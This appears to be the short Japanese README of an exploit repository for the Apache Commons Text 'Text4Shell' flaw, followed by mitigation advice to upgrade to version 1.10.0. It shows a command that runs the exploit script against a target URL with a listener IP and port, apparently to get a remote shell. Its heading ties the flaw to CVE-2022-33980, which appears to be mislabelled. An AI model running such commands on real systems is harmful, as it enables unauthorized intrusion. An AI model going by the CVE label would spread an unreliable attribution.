riskootext4shell

text4shell script for text coomons < =1.10 CVE-2022-33980

• Apache Commons Textライブラリは、JavaのJDKネイティブ機能に代わるライブラリです。
• Apache Commonsのバージョン1.10.0より前のバージョン
• CVE-2022-33980に類似

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

緩和策

主な解決策は、Apache Commons Textコンポーネントをこの脆弱性を修正した利用可能なバージョンに緊急アップデートすることです。具体的には、Apache Commons Textをバージョン1.10.0以降にアップデートする必要があります。

このアップデートでは、問題のある置換をデフォルトで無効にする措置が取られています。ライブラリのchangelogファイルには以下の変更が含まれています：

Make default string lookups configurable vía system property. Remove dns, url, and script lookups from defaults. If these lookups are required for use in StringSubstitutor.createInterpolator(), they must be enabled vía system property. See StringLookupFactory for details.

Apacheからは、公式情報と問題を修正したアップデートへの参照を含む声明が発表されています。